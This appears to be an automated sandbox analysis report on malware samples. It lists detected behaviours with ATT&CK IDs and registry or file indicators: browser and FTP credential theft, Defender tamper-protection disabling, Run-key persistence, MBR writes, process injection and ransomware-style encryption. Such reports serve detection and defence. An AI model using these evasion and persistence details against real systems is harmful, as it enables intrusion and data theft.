Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

File/Path Exclusions

T1564.012

Disable or Modify Tools

pid	Process
5944	cmd.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	RegAsm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	RegAsm.exe

Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
Key opened	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Alcmeter = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3Mj8k14CbmFIV28.exe"	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\vkl-X2HJ19 = "\"C:\\Windows\\vkl.exe\""	MSBuild.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\vkl-X2HJ19 = "\"C:\\Windows\\vkl.exe\""	MSBuild.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test = "C:\\Users\\Admin\\AppData\\Local\\Temp\\test.exe"	ffcc4cc79785d4b96b26d0db89383627e084c3483b1e787ac1150d8e6917f506.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyOtApp = "C:\\Users\\Admin\\AppData\\Roaming\\JavaUpdate\\JavaUpdate.exe"	06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1653660789-1211287304-2482568781-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Images = "C:\\ProgramData\\images.exe"	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\TCP Host = "C:\\Program Files (x86)\\TCP Host\\tcphost.exe"	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
257	discord.com
258	discord.com

Drops desktop.ini file(s) 20 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-1653660789-1211287304-2482568781-1000\desktop.ini	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-1653660789-1211287304-2482568781-1000\desktop.ini	771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
File opened for modification	C:\Program Files\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Windows\assembly\Desktop.ini	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Windows\assembly\Desktop.ini	c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\R:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\T:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\D:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\L:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\V:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\B:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\M:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\I:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\P:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\S:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Y:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\U:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\G:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Z:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\X:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\Q:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\W:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\O:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\A:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\H:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\J:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\K:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
File opened (read-only)	\??\N:	3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
52	checkip.dyndns.org
73	ip-api.com
81	reallyfreegeoip.org
82	reallyfreegeoip.org
84	api.ipify.org
85	api.ipify.org
95	reallyfreegeoip.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x00070000000284a1-223.dat	autoit_exe
behavioral2/files/0x0007000000028958-5008.dat	autoit_exe

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe

ConfuserEx .NET packer 3 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/files/0x00070000000289a5-7171.dat	ConfuserEx
behavioral2/memory/5576-7734-0x00000000008D0000-0x0000000000946000-memory.dmp	ConfuserEx
behavioral2/memory/5576-8744-0x0000000005350000-0x00000000053C4000-memory.dmp	ConfuserEx

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
2712	77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
3144	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
9320	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
9320	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
6824	tcphost.exe
9904	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe
6828	tcphost.exe

Suspicious use of SetThreadContext 15 IoCs

description	pid	Process	procid_target
PID 2836 set thread context of 4752	2836	0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe	105
PID 2568 set thread context of 4260	2568	577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe	121
PID 9552 set thread context of 7528	9552	53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe	158
PID 6024 set thread context of 12184	6024	4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe	170
PID 5288 set thread context of 13740	5288	aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe	191
PID 13776 set thread context of 9992	13776	c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe	214
PID 4468 set thread context of 1812	4468	01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe	218
PID 5576 set thread context of 7288	5576	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe	230
PID 5576 set thread context of 11080	5576	d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe	231
PID 11316 set thread context of 6744	11316	b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe	223
PID 3144 set thread context of 9320	3144	def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe	237
PID 4760 set thread context of 6192	4760	7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe	250
PID 10440 set thread context of 12476	10440	images.exe	267
PID 10440 set thread context of 6000	10440	images.exe	269
PID 6824 set thread context of 6828	6824	tcphost.exe	1078

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_Subscription4-pl.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Retail-ul-phn.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\VSTA\VSTOFiles.cat	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\ind_prog.gif	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\review_same_reviewers.gif.EnCiPhErEd	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\fi-fi\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle_2x.png	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\Microsoft Office\root\Office16\MSIPC\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\cryptix.md.EnCiPhErEd	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\management.properties	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\PowerPntLogo.contrast-white_scale-100.png.EnCiPhErEd	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\de-de\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudent2019R_Retail-pl.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Colors\Green.xml	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\http.luac	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prcr.x3d	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\it-IT\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\de-DE\sqlxmlx.rll.mui	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Locales\ko.pak	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipsfin.xml	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Access2019R_OEM_Perp-ul-oob.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalPipcR_OEM_Perp-pl.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Retail-ppd.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioProR_OEM_Perp-pl.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\PSRCHPHN.DAT	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sa.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\dicjp.bin	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\FPA_f7\FA000000007	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\ExcelLogo.scale-180.png.EnCiPhErEd	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\OneNoteLogo.scale-180.png.EnCiPhErEd	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL078.XML	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\ZY______.PFB	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	InstallUtil.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\VC\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription3-ppd.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019R_Retail-ppd.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSPPT.OLB	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\pkeyconfig-office.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-right.png	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Locales\ur.pak	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\Common Files\microsoft shared\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial-ppd.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Retail-ul-phn.xrm-ms	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\Microsoft Office\root\Office16\FPA_FA000000008\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUECALM\PREVIEW.GIF	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\bl.gif	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fr-ma\ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogo.contrast-black_scale-80.png	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]	e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sm\readme.txt	80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
